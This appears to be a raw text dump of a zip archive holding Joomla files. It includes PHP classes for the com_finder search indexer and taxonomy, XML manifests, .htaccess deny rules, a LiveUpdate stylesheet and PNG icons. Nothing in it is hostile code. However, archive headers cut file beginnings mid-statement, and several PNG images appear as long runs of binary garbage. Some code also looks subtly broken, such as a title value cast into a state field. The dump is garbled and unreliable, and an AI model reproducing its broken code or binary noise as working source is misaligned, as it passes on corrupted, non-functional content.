$this->mime; // Set the item layout. $item->layout = $this->layout; // Set the extension if present if (isset($row->extension)) { $item->extension = $row->extension; } // Add the item to the stack. $items[] = $item; } return $items; } /** * Method to get the SQL query used to retrieve the list of content items. * * @param mixed $sql A JDatabaseQuery object. [optional] * * @return JDatabaseQuery A database object. * * @since 2.5 */ protected function getListQuery($sql = null) { JLog::add('FinderIndexerAdapter::getListQuery', JLog::INFO); // Check if we can use the supplied SQL query. $sql = $sql instanceof JDatabaseQuery ? $sql : $this->db->getQuery(true); return $sql; } /** * Method to get the plugin type * * @param integer $id The plugin ID * * @return string The plugin type * * @since 2.5 */ protected function getPluginType($id) { // Prepare the query $query = $this->db->getQuery(true); $query->select($this->db->quoteName('element')); $query->from($this->db->quoteName('#__extensions')); $query->where($this->db->quoteName('extension_id') . ' = ' . (int) $id); $this->db->setQuery($query); $type = $this->db->loadResult(); return $type; } /** * Method to get a SQL query to load the published and access states for * an article and category. * * @return JDatabaseQuery A database object. * * @since 2.5 */ protected function getStateQuery() { $sql = $this->db->getQuery(true); // Item ID $sql->select('a.id'); // Item and category published state $sql->select('a.' . $this->state_field . ' AS state, c.published AS cat_state'); // Item and category access levels $sql->select('a.access, c.access AS cat_access'); $sql->from($this->table . ' AS a'); $sql->join('LEFT', '#__categories AS c ON c.id = a.catid'); return $sql; } /** * Method to get the query clause for getting items to update by time. * * @param string $time The modified timestamp. * * @return JDatabaseQuery A database object. * * @since 2.5 */ protected function getUpdateQueryByTime($time) { JLog::add('FinderIndexerAdapter::getUpdateQueryByTime', JLog::INFO); // Build an SQL query based on the modified time. $sql = $this->db->getQuery(true); $sql->where('a.' . $this->db->quoteName('modified') . ' >= ' . $this->db->quote($time)); return $sql; } /** * Method to get the query clause for getting items to update by id. * * @param array $ids The ids to load. * * @return JDatabaseQuery A database object. * * @since 2.5 */ protected function getUpdateQueryByIds($ids) { JLog::add('FinderIndexerAdapter::getUpdateQueryByIds', JLog::INFO); // Build an SQL query based on the item ids. $sql = $this->db->getQuery(true); $sql->where('a.' . $this->db->quoteName('id') . ' IN(' . implode(',', $ids) . ')'); return $sql; } /** * Method to get the type id for the adapter content. * * @return integer The numeric type id for the content. * * @since 2.5 * @throws Exception on database error. */ protected function getTypeId() { JLog::add('FinderIndexerAdapter::getTypeId', JLog::INFO); // Get the type id from the database. $query = $this->db->getQuery(true); $query->select($this->db->quoteName('id')); $query->from($this->db->quoteName('#__finder_types')); $query->where($this->db->quoteName('title') . ' = ' . $this->db->quote($this->type_title)); $this->db->setQuery($query); $result = (int) $this->db->loadResult(); // Check for a database error. if ($this->db->getErrorNum()) { // Throw database error exception. throw new Exception($this->db->getErrorMsg(), 500); } return $result; } /** * Method to get the URL for the item. The URL is how we look up the link * in the Finder index. * * @param integer $id The id of the item. * @param string $extension The extension the category is in. * @param string $view The view for the URL. * * @return string The URL of the item. * * @since 2.5 */ protected function getURL($id, $extension, $view) { return 'index.php?option=' . $extension . '&view=' . $view . '&id=' . $id; } /** * Method to get the page title of any menu item that is linked to the * content item, if it exists and is set. * * @param string $url The url of the item. * * @return mixed The title on success, null if not found. * * @since 2.5 * @throws Exception on database error. */ protected function getItemMenuTitle($url) { JLog::add('FinderIndexerAdapter::getItemMenuTitle', JLog::INFO); $return = null; // Set variables $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); // Build a query to get the menu params. $sql = $this->db->getQuery(true); $sql->select($this->db->quoteName('params')); $sql->from($this->db->quoteName('#__menu')); $sql->where($this->db->quoteName('link') . ' = ' . $this->db->quote($url)); $sql->where($this->db->quoteName('published') . ' = 1'); $sql->where($this->db->quoteName('access') . ' IN (' . $groups . ')'); // Get the menu params from the database. $this->db->setQuery($sql); $params = $this->db->loadResult(); // Check for a database error. if ($this->db->getErrorNum()) { // Throw database error exception. throw new Exception($this->db->getErrorMsg(), 500); } // Check the results. if (empty($params)) { return $return; } // Instantiate the params. $params = json_decode($params); // Get the page title if it is set. if ($params->page_title) { $return = $params->page_title; } return $return; } /** * Method to update index data on access level changes * * @param JTable $row A JTable object * * @return void * * @since 2.5 */ protected function itemAccessChange($row) { $sql = clone($this->getStateQuery()); $sql->where('a.id = ' . (int) $row->id); // Get the access level. $this->db->setQuery($sql); $item = $this->db->loadObject(); // Set the access level. $temp = max($row->access, $item->cat_access); // Update the item. $this->change((int) $row->id, 'access', $temp); } /** * Method to update index data on published state changes * * @param array $pks A list of primary key ids of the content that has changed state. * @param integer $value The value of the state that the content has been changed to. * * @return void * * @since 2.5 */ protected function itemStateChange($pks, $value) { // The item's published state is tied to the category // published state so we need to look up all published states // before we change anything. foreach ($pks as $pk) { $sql = clone($this->getStateQuery()); $sql->where('a.id = ' . (int) $pk); // Get the published states. $this->db->setQuery($sql); $item = $this->db->loadObject(); // Translate the state. $temp = $this->translateState($value, $item->cat_state); // Update the item. $this->change($pk, 'state', $temp); // Reindex the item $this->reindex($pk); } } /** * Method to update index data when a plugin is disabled * * @param array $pks A list of primary key ids of the content that has changed state. * * @return void * * @since 2.5 */ protected function pluginDisable($pks) { // Since multiple plugins may be disabled at a time, we need to check first // that we're handling the appropriate one for the context foreach ($pks as $pk) { if ($this->getPluginType($pk) == strtolower($this->context)) { // Get all of the items to unindex them $sql = clone($this->getStateQuery()); $this->db->setQuery($sql); $items = $this->db->loadColumn(); // Remove each item foreach ($items as $item) { $this->remove($item); } } } } /** * Method to translate the native content states into states that the * indexer can use. * * @param integer $item The item state. * @param integer $category The category state. [optional] * * @return integer The translated indexer state. * * @since 2.5 */ protected function translateState($item, $category = null) { // If category is present, factor in its states as well if ($category !== null) { if ($category == 0) { $item = 0; } } // Translate the state switch ($item) { // Published and archived items only should return a published state case 1; case 2: return 1; // All other states should return a unpublished state default: case 0: return 0; } } } PK@y>\q2..2components/com_finder/helpers/indexer/taxonomy.phpnuW+Aid; } // Check to see if the branch is in the table. $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('*'); $query->from($db->quoteName('#__finder_taxonomy')); $query->where($db->quoteName('parent_id') . ' = 1'); $query->where($db->quoteName('title') . ' = ' . $db->quote($title)); $db->setQuery($query); // Get the result. $result = $db->loadObject(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Check if the database matches the input data. if (!empty($result) && $result->state == $state && $result->access == $access) { // The data matches, add the item to the cache. self::$branches[$title] = $result; return self::$branches[$title]->id; } // The database did not match the input. This could be because the // state has changed or because the branch does not exist. Let's figure // out which case is true and deal with it. $branch = new JObject; if (empty($result)) { // Prepare the branch object. $branch->parent_id = 1; $branch->title = $title; $branch->state = (int) $state; $branch->access = (int) $access; } else { // Prepare the branch object. $branch->id = (int) $result->id; $branch->parent_id = (int) $result->parent_id; $branch->title = $result->title; $branch->state = (int) $result->title; $branch->access = (int) $result->access; $branch->ordering = (int) $result->ordering; } // Store the branch. self::storeNode($branch); // Add the branch to the cache. self::$branches[$title] = $branch; return self::$branches[$title]->id; } /** * Method to add a node to the taxonomy tree. * * @param string $branch The title of the branch to store the node in. * @param string $title The title of the node. * @param integer $state The published state of the node. [optional] * @param integer $access The access state of the node. [optional] * * @return integer The id of the node. * * @since 2.5 * @throws Exception on database error. */ public static function addNode($branch, $title, $state = 1, $access = 1) { // Check to see if the node is in the cache. if (isset(self::$nodes[$branch][$title])) { return self::$nodes[$branch][$title]->id; } // Get the branch id, inserted it if it does not exist. $branchId = self::addBranch($branch); // Check to see if the node is in the table. $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('*'); $query->from($db->quoteName('#__finder_taxonomy')); $query->where($db->quoteName('parent_id') . ' = ' . $db->quote($branchId)); $query->where($db->quoteName('title') . ' = ' . $db->quote($title)); $db->setQuery($query); // Get the result. $result = $db->loadObject(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Check if the database matches the input data. if (!empty($result) && $result->state == $state && $result->access == $access) { // The data matches, add the item to the cache. self::$nodes[$branch][$title] = $result; return self::$nodes[$branch][$title]->id; } // The database did not match the input. This could be because the // state has changed or because the node does not exist. Let's figure // out which case is true and deal with it. $node = new JObject; if (empty($result)) { // Prepare the node object. $node->parent_id = (int) $branchId; $node->title = $title; $node->state = (int) $state; $node->access = (int) $access; } else { // Prepare the node object. $node->id = (int) $result->id; $node->parent_id = (int) $result->parent_id; $node->title = $result->title; $node->state = (int) $result->title; $node->access = (int) $result->access; $node->ordering = (int) $result->ordering; } // Store the node. self::storeNode($node); // Add the node to the cache. self::$nodes[$branch][$title] = $node; return self::$nodes[$branch][$title]->id; } /** * Method to add a map entry between a link and a taxonomy node. * * @param integer $linkId The link to map to. * @param integer $nodeId The node to map to. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public static function addMap($linkId, $nodeId) { // Insert the map. $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select($db->quoteName('link_id')); $query->from($db->quoteName('#__finder_taxonomy_map')); $query->where($db->quoteName('link_id') . ' = ' . (int)$linkId); $query->where($db->quoteName('node_id') . ' = ' . (int)$nodeId); $db->setQuery($query); $db->query(); $id = (int) $db->loadResult(); $map = new JObject(); $map->link_id = (int) $linkId; $map->node_id = (int) $nodeId; if ($id) { $db->updateObject('#__finder_taxonomy_map', $map); } else { $db->insertObject('#__finder_taxonomy_map', $map); } // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } return true; } /** * Method to get the title of all taxonomy branches. * * @return array An array of branch titles. * * @since 2.5 * @throws Exception on database error. */ public static function getBranchTitles() { $db = JFactory::getDBO(); // Set user variables $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); // Create a query to get the taxonomy branch titles. $query = $db->getQuery(true); $query->select($db->quoteName('title')); $query->from($db->quoteName('#__finder_taxonomy')); $query->where($db->quoteName('parent_id') . ' = 1'); $query->where($db->quoteName('state') . ' = 1'); $query->where($db->quoteName('access') . ' IN (' . $groups . ')'); // Get the branch titles. $db->setQuery($query); $results = $db->loadColumn(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } return $results; } /** * Method to find a taxonomy node in a branch. * * @param string $branch The branch to search. * @param string $title The title of the node. * * @return mixed Integer id on success, null on no match. * * @since 2.5 * @throws Exception on database error. */ public static function getNodeByTitle($branch, $title) { $db = JFactory::getDBO(); // Set user variables $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); // Create a query to get the node. $query = $db->getQuery(true); $query->select('t1.*'); $query->from($db->quoteName('#__finder_taxonomy') . ' AS t1'); $query->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS t2 ON t2.id = t1.parent_id'); $query->where('t1.' . $db->quoteName('access') . ' IN (' . $groups . ')'); $query->where('t1.' . $db->quoteName('state') . ' = 1'); $query->where('t1.' . $db->quoteName('title') . ' LIKE "' . $db->escape($title) . '%"'); $query->where('t2.' . $db->quoteName('access') . ' IN (' . $groups . ')'); $query->where('t2.' . $db->quoteName('state') . ' = 1'); $query->where('t2.' . $db->quoteName('title') . ' = ' . $db->quote($branch)); // Get the node. $db->setQuery($query, 0, 1); $result = $db->loadObject(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } return $result; } /** * Method to remove map entries for a link. * * @param integer $linkId The link to remove. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public static function removeMaps($linkId) { // Delete the maps. $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->delete(); $query->from($db->quoteName('#__finder_taxonomy_map')); $query->where($db->quoteName('link_id') . ' = ' . (int) $linkId); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } return true; } /** * Method to remove orphaned taxonomy nodes and branches. * * @return integer The number of deleted rows. * * @since 2.5 * @throws Exception on database error. */ public static function removeOrphanNodes() { // Delete all orphaned nodes. $db = JFactory::getDBO(); /*$query = $db->getQuery(true); $query->delete(); $query->from($db->quoteName('#__finder_taxonomy') . ' AS t'); $query->join('LEFT', $db->quoteName('#__finder_taxonomy_map') . ' AS m ON m.node_id = t.id'); $query->where('t.' . $db->quoteName('parent_id') . ' > 1'); $query->where('m.' . $db->quoteName('link_id') . ' IS NULL');*/ //@TODO: Query does not work with JDatabaseQuery, does not support DELETE t.*, must be DELETE FROM ... $query = 'DELETE t.*' . ' FROM ' . $db->quoteName('#__finder_taxonomy') . ' AS t' . ' LEFT JOIN ' . $db->quoteName('#__finder_taxonomy_map') . ' AS m ON m.node_id = t.id' . ' WHERE t.' . $db->quoteName('parent_id') . ' > 1' . ' AND m.' . $db->quoteName('link_id') . ' IS NULL'; $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } return $db->getAffectedRows(); } /** * Method to store a node to the database. This method will accept either a branch or a node. * * @param object $item The item to store. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ protected static function storeNode($item) { $db = JFactory::getDBO(); // Check if we are updating or inserting the item. if (empty($item->id)) { // Insert the item. $db->insertObject('#__finder_taxonomy', $item, 'id'); } else { // Update the item. $db->updateObject('#__finder_taxonomy', $item, 'id'); } // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } return true; } } PK@y>\ddp[ [ 0components/com_finder/helpers/indexer/result.phpnuW+A array('title', 'subtitle', 'id'), FinderIndexer::TEXT_CONTEXT => array('summary', 'body'), FinderIndexer::META_CONTEXT => array('meta', 'list_price', 'sale_price'), FinderIndexer::PATH_CONTEXT => array('path', 'alias'), FinderIndexer::MISC_CONTEXT => array('comments') ); /** * The indexer will use this data to create taxonomy mapping entries for * the item so that it can be filtered by type, label, category, * or whatever. * * @var array * @since 2.5 */ protected $taxonomy = array(); /** * The content URL. * * @var string * @since 2.5 */ public $url; /** * The content route. * * @var string * @since 2.5 */ public $route; /** * The content title. * * @var string * @since 2.5 */ public $title; /** * The content description. * * @var string * @since 2.5 */ public $description; /** * The published state of the result. * * @var integer * @since 2.5 */ public $published; /** * The content published state. * * @var integer * @since 2.5 */ public $state; /** * The content access level. * * @var integer * @since 2.5 */ public $access; /** * The content language. * * @var string * @since 2.5 */ public $language = '*'; /** * The publishing start date. * * @var string * @since 2.5 */ public $publish_start_date; /** * The publishing end date. * * @var string * @since 2.5 */ public $publish_end_date; /** * The generic start date. * * @var string * @since 2.5 */ public $start_date; /** * The generic end date. * * @var string * @since 2.5 */ public $end_date; /** * The item list price. * * @var mixed * @since 2.5 */ public $list_price; /** * The item sale price. * * @var mixed * @since 2.5 */ public $sale_price; /** * The content type id. This is set by the adapter. * * @var integer * @since 2.5 */ public $type_id; /** * The magic set method is used to push additional values into the elements * array in order to preserve the cleanliness of the object. * * @param string $name The name of the element. * @param mixed $value The value of the element. * * @return void * * @since 2.5 */ public function __set($name, $value) { $this->elements[$name] = $value; } /** * The magic get method is used to retrieve additional element values * from the elements array. * * @param string $name The name of the element. * * @return mixed The value of the element if set, null otherwise. * * @since 2.5 */ public function __get($name) { // Get the element value if set. if (array_key_exists($name, $this->elements)) { return $this->elements[$name]; } else { return null; } } /** * The magic isset method is used to check the state of additional element * values in the elements array. * * @param string $name The name of the element. * * @return boolean True if set, false otherwise. * * @since 2.5 */ public function __isset($name) { return isset($this->elements[$name]); } /** * The magic unset method is used to unset additional element values in the * elements array. * * @param string $name The name of the element. * * @return void * * @since 2.5 */ public function __unset($name) { unset($this->elements[$name]); } /** * Method to retrieve additional element values from the elements array. * * @param string $name The name of the element. * * @return mixed The value of the element if set, null otherwise. * * @since 2.5 */ public function getElement($name) { // Get the element value if set. if (array_key_exists($name, $this->elements)) { return $this->elements[$name]; } else { return null; } } /** * Method to set additional element values in the elements array. * * @param string $name The name of the element. * @param mixed $value The value of the element. * * @return void * * @since 2.5 */ public function setElement($name, $value) { $this->elements[$name] = $value; } /** * Method to get all processing instructions. * * @return array An array of processing instructions. * * @since 2.5 */ public function getInstructions() { return $this->instructions; } /** * Method to add a processing instruction for an item property. * * @param string $group The group to associate the property with. * @param string $property The property to process. * * @return void * * @since 2.5 */ public function addInstruction($group, $property) { // Check if the group exists. We can't add instructions for unknown groups. if (array_key_exists($group, $this->instructions)) { // Check if the property exists in the group. if (!in_array($property, $this->instructions[$group])) { // Add the property to the group. $this->instructions[$group][] = $property; } } } /** * Method to remove a processing instruction for an item property. * * @param string $group The group to associate the property with. * @param string $property The property to process. * * @return void * * @since 2.5 */ public function removeInstruction($group, $property) { // Check if the group exists. We can't remove instructions for unknown groups. if (array_key_exists($group, $this->instructions)) { // Search for the property in the group. $key = array_search($property, $this->instructions[$group]); // If the property was found, remove it. if ($key !== false) { unset($this->instructions[$group][$key]); } } } /** * Method to get the taxonomy maps for an item. * * @param string $branch The taxonomy branch to get. [optional] * * @return array An array of taxonomy maps. * * @since 2.5 */ public function getTaxonomy($branch = null) { // Get the taxonomy branch if available. if ($branch !== null && isset($this->taxonomy[$branch])) { // Filter the input. $branch = preg_replace('#[^\pL\pM\pN\p{Pi}\p{Pf}\'+-.,]+#mui', ' ', $branch); return $this->taxonomy[$branch]; } return $this->taxonomy; } /** * Method to add a taxonomy map for an item. * * @param string $branch The title of the taxonomy branch to add the node to. * @param string $title The title of the taxonomy node. * @param integer $state The published state of the taxonomy node. [optional] * @param integer $access The access level of the taxonomy node. [optional] * * @return void * * @since 2.5 */ public function addTaxonomy($branch, $title, $state = 1, $access = 1) { // Filter the input. $branch = preg_replace('#[^\pL\pM\pN\p{Pi}\p{Pf}\'+-.,]+#mui', ' ', $branch); // Create the taxonomy node. $node = new JObject; $node->title = $title; $node->state = (int) $state; $node->access = (int) $access; // Add the node to the taxonomy branch. $this->taxonomy[$branch][$node->title] = $node; } } PK@y>\֌QQ(components/com_finder/helpers/finder.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } } PK@y>\ql l -components/com_finder/helpers/html/finder.phpnuW+AgetQuery(true); $query->select('DISTINCT t.title AS text, t.id AS value'); $query->from($db->quoteName('#__finder_types') . ' AS t'); $query->join('LEFT', $db->quoteName('#__finder_links') . ' AS l ON l.type_id = t.id'); $query->order('t.title ASC'); $db->setQuery($query); $rows = $db->loadObjectList(); // Check for database errors. if ($db->getErrorNum()) { return; } // Compile the options. $options = array(); foreach ($rows as $row) { $key = $lang->hasKey(FinderHelperLanguage::branchPlural($row->text)) ? FinderHelperLanguage::branchPlural($row->text) : $row->text; $string = JText::sprintf('COM_FINDER_ITEM_X_ONLY', JText::_($key)); $options[] = JHtml::_('select.option', $row->value, $string); } return $options; } /** * Creates a list of maps. * * @return array An array containing the maps that can be selected. * * @since 2.5 */ public static function mapslist() { $lang = JFactory::getLanguage(); // Load the finder types. $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('title AS text, id AS value'); $query->from($db->quoteName('#__finder_taxonomy')); $query->where($db->quoteName('parent_id') . ' = 1'); $query->order('ordering, title ASC'); $db->setQuery($query); $rows = $db->loadObjectList(); // Check for database errors. if ($db->getErrorNum()) { return; } // Compile the options. $options = array(); $options[] = JHtml::_('select.option', '1', JText::_('COM_FINDER_MAPS_BRANCHES')); foreach ($rows as $row) { $key = $lang->hasKey(FinderHelperLanguage::branchPlural($row->text)) ? FinderHelperLanguage::branchPlural($row->text) : $row->text; $string = JText::sprintf('COM_FINDER_ITEM_X_ONLY', JText::_($key)); $options[] = JHtml::_('select.option', $row->value, $string); } return $options; } /** * Creates a list of published states. * * @return array An array containing the states that can be selected. * * @since 2.5 */ public static function statelist() { $options = array(); $options[] = JHtml::_('select.option', '1', JText::sprintf('COM_FINDER_ITEM_X_ONLY', JText::_('JPUBLISHED'))); $options[] = JHtml::_('select.option', '0', JText::sprintf('COM_FINDER_ITEM_X_ONLY', JText::_('JUNPUBLISHED'))); return $options; } } PK@y>\6-components/com_finder/helpers/html/index.htmlnuW+APK@y>\),components/com_finder/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PK@y>\/&^ components/com_finder/config.xmlnuW+A
      PK@y>\OGLL$components/com_finder/controller.phpnuW+Ainput; // Load the submenu. FinderHelper::addSubmenu($input->get('view', 'index', 'word')); $view = $input->get('view', 'index', 'word'); $layout = $input->get('layout', 'index', 'word'); $id = $input->get('id', null, 'int'); $f_id = $input->get('filter_id', null, 'int'); // Check for edit form. if ($view == 'filter' && $layout == 'edit' && !$this->checkEditId('com_finder.edit.filter', $f_id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $f_id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_finder&view=filters', false)); return false; } parent::display(); return $this; } } PK@y>\ components/com_finder/access.xmlnuW+A
      PK@y>\`[ components/com_finder/finder.xmlnuW+A com_finder Joomla! Project (C) 2005 - 2014 Open Source Matters. All rights reserved. August 2011 GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_FINDER_XML_DESCRIPTION COM_FINDER controller.php index.html finder.php router.php controllers helpers models views js images css index.html sql/install.mysql.sql sql/install.postgresql.sql sql/uninstall.mysql.sql sql/uninstall.postgresql.sql en-GB/en-GB.com_finder.ini access.xml config.xml controller.php finder.php index.html controllers helpers models sql tables views en-GB/en-GB.com_finder.ini en-GB/en-GB.com_finder.sys.ini COM_FINDER PK@y>\ee components/com_finder/finder.phpnuW+Aauthorise('core.manage', 'com_finder')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } // Execute the task. $controller = JControllerLegacy::getInstance('Finder'); $controller->execute(JFactory::getApplication()->input->get('task', '', 'cmd')); $controller->redirect(); PK@y>\)3components/com_virtuemart_allinone/assets/.htaccessnuW+A Order allow,deny Deny from all PK@y>\q8components/com_virtuemart_allinone/assets/current-32.pngnuW+APNG  IHDR szz pHYs  IDATX ŖPT}쏷n!AMaC$m"t&hLm"2)d4i)G8qL?Ѡ rYDxxwo}dA4zww;s?s]D){ٸ{ g.V0t-ݺ u u+XwE܀opO=_f<P h^o+*g7`sH9Dk(ay'a,|\T*{*ti_PjI`v~χ7Sp*(~//bZR~dJG/3ჴy%Д!>yU2̹+ޠ mf85?a*:Arv_l ^M[YM3RF^pjtEZXo?wp|~dݮ YƲ~V=SZ"aT( .o|pVBiGDr/lr'ďA}]θ]W`5(Nj|~SsU=;R^1<}}źy߅ճQJ|αwoz_s~?ïEnA5;O;:}:FGm錄mO@pÍcw2i`Αl1\. :components/com_virtuemart_allinone/assets/nosupport-32.pngnuW+APNG  IHDR szz pHYs   ZIDATX uWkl3Oxk0P3ƴȩI("-hRVi?H-D! $!@B Dv)cH(#,ػ玽ρ]|sϹ>B&']-uufm֭UoȱTABOQjF4s߽ƭD`φ ݻW-|ᩧZL(V# II`!d~uݸ OX{zqڊ&]om*SI6& PP0E',͠xrϵD[>&5MMMqvO{dJ˄"57aHQ8ۭfI8Hl;r$ F>[єɴ+E>.`L8zG:C7vS_jG]͏!…/BE^g4Q,f1l6aYx? ?7/IB& &a%}z~4[{{Ag8W/mݸ1mڴuxvhT3hPFC:D` | Θ$ݽKB2@@G:J@'Hݑ[B-9~c-Or$sL;L| b1*dXO_zEw R/i%hE& yc1GQ((ܵf64_jkMHW"|C!qtZDӼ_BL"`i{"sWVmŕ/˜DAI ٦Ozβ#:& z2]~EJF &F\Q+QxINQ޽4zRiقVΛgw&{d(zu\I 5̐4Ng[xpsr@-B_^M bȜL$_0b CgAj'NaJc*n@bdi8q׬ÇMPvJHs6bV:bE4:`gQK ,Z*#5JE)6,ʁ#]K^KB #vw ͻs(cuDNE |XTDY.Z<q<\:b(앁.YXsDm?5eg֢q8_`4{Nk}]*_TOEKp\`Pӎ)aŧ'.:I ㆁ_ЎTX-g[SCޞ!p0m9 (28h[6}&Q 'LFyf0JA0 fq;FP3'*EzH9H$” M%T cdo7|7#zFDɹlԁ@Ad_cwGqy{z\)l cK_F nlevFNԋtZ+{{ΝkDNFƠ'):m $U@ 뭞.ͯYJ瓂=_2ƭyyב&nb({яw#gF nbJ7JJ')JJJPHOu$d8]dÆ$lL&OA Hk`,(e|(+H&Z':&IBbȹ4p; a剿hƮ@pWĉ}h_ǍNqðXlF`(N,[WwP(4 Θ?p gY _kڗ v*b x H~mjŐM*و0 nѳVۋkAf@#R^;gmҴ NXIUUse3W{? 3wb9IENDB`PK@y>\/qT3components/com_virtuemart_allinone/assets/ok-24.pngnuW+APNG  IHDRw= pHYs  IDATH mLSWmo@hkaP4$(ʋɾ܊Kd#`lֲ1gt& e0`A hGA!PhK[/lq{9?BXqü@z= 06†_#`q^8Nh%BG9OGTd\a~]'@MykG>Dsx'y;laxRdٹŹ*+`6<\((WX,i(*V?5%-q ˲ՉNٯN>NoN(T01%n\!PD8D~ ֖$i0pXI_\ l8ה 63ql Aw@%<ϠQX@iZvefBRD,gR枦;;5%֦݁hWٗDӂ"sPbzoD)mJd^eNB5nPrZ|ᴴ#DLu{M/d1a#L;e@_ڲmZ*QN`h ޘu-ա~4d446Vm{(6*PC<5ۏ^Ene;4i(c$77/Cp.;4Iz)l?xd>edlx&ɒqbUpqKMUfuSnZJd?FNBvv80p}bmpy{f:C9R4$Zi:ްP(?n.8utt!|p9r'N{; &&"JJˀaldy³hZ2FH9~w,g,"p.B&U=14+ӥ D.ʧdZ$a4Q~JnvKv;(Enhi"܄b3:52>Q?~ej875@> :[n&oZւXQDn05X,*h>̅)|naL|k7CőG_}?5ozCa=k[ 8Ru…+XYj-PyAU{ΡBF?qX"鍊|2b/iG2ar31b} GOZ]4qcIENDB`PK@y>\п 8components/com_virtuemart_allinone/assets/liveupdate.cssnuW+A/** * @package LiveUpdate * @copyright Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com * @license GNU LGPLv3 or later */ @CHARSET "UTF-8"; .icon-48-liveupdate { background-image: url(liveupdate-48.png) } var { font-style: italic; font-weight: bold; } p.liveupdate-url { font-family: "Lucida Sans Mono", "Courier New", Courier, monospace; } div.liveupdate-notsupported, div.liveupdate-stuck { border: thin solid #990000; background: #fff0f0; padding: 1em; color: #330000; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #f88; -webkit-box-shadow: 5px 5px 5px #f88; box-shadow: 5px 5px 5px #f88; } div.liveupdate-notsupported h3, div.liveupdate-stuck h3 { background: transparent url("fail-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: red; text-shadow: 1px 1px 6px #cccc00; } div.liveupdate-hasupdates { border: thin solid #999900; background: #fffff0; padding: 1em; color: #333300; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #ff8; -webkit-box-shadow: 5px 5px 5px #ff8; box-shadow: 5px 5px 5px #ff8; } div.liveupdate-hasupdates h3 { background: transparent url("warn-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: #660; text-shadow: 1px 1px 6px #ffff00; } div.liveupdate-noupdates { border: thin solid #009900; background: #f0fff0; padding: 1em; color: #003300; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #8f8; -webkit-box-shadow: 5px 5px 5px #8f8; box-shadow: 5px 5px 5px #8f8; } div.liveupdate-noupdates h3 { background: transparent url("ok-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: #060; text-shadow: 1px 1px 6px #00ff00; } div.liveupdate-infotable { width: 620px; margin: auto auto; padding: 2px; border: thin solid #333; background: #fefefe; -moz-border-radius: 5px; -webkit-border-radius: 5px; -border-radius: 5px; } div.liveupdate-infotable .row0 { background: #fcfcfc } div.liveupdate-infotable .row1 { background: #f0f0f0 } div.liveupdate-row { padding: 5px 1px } span.liveupdate-label { display: inline-block; width: 200px; font-weight: bold; } span.liveupdate-data { display: inline-block; width: 400px; overflow: none } p.liveupdate-buttons { text-align: center; margin: 1em; } p.liveupdate-error-needsauth { margin: 1em; background: #ffcccc; border: medium solid #ff0000; color: #660000; font-size: large; font-weight: bold; padding: 1em; text-align: center; text-shadow: 1px 1px 2px white; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #f88; -webkit-box-shadow: 5px 5px 5px #f88; box-shadow: 5px 5px 5px #f88; } p.liveupdate-poweredby { font-size: 8pt; color: silver; margin: 1em 0 0.5em 0 } p.liveupdate-poweredby a { color: silver; } div.liveupdate-ftp p { margin: 1em 2em; line-height: 140%; border: thin solid #00c; padding: 0.5em; color: #006; background-color: #f0f0ff; font-size: 12pt; text-shadow: 1px 1px 3px silver } PK@y>\^ON5components/com_virtuemart_allinone/assets/warn-24.pngnuW+APNG  IHDRw= pHYs  NIDATH UkUv[kX`PM . >Pė}RD((m!- FPb 6`c-5MnwMi?ffx؝;ss(c ԇ*ܾ6l՚,ޓ( v3pE>ː BF.>Tnbש4uX4a8M`߃RhL<CP ]$>U`~`卌ϤiRHMNFe(o.9\Ь X 1= Vp%z;gTŁPtCmQ[Ϋ*YǦgUgvKƇ,=s0_Y6UsFe1rKP2K ;Q[ɿ2nM3A ]%Xghpg/!j A2=K_ZU(jW74)6U4#dp@)'@4lvU) i+]Śm4L@Qssj6nvZ+_ձi%*d`b8֏7g@Y6U NL5S;*f#;u[;-3"96 o9ޓ9TattQ#I6BﱁdFnvy.Bnͣf$Z q.]f YXA8A&2}S@~#q|ER{9|;zܸ m 5,U0Ġo 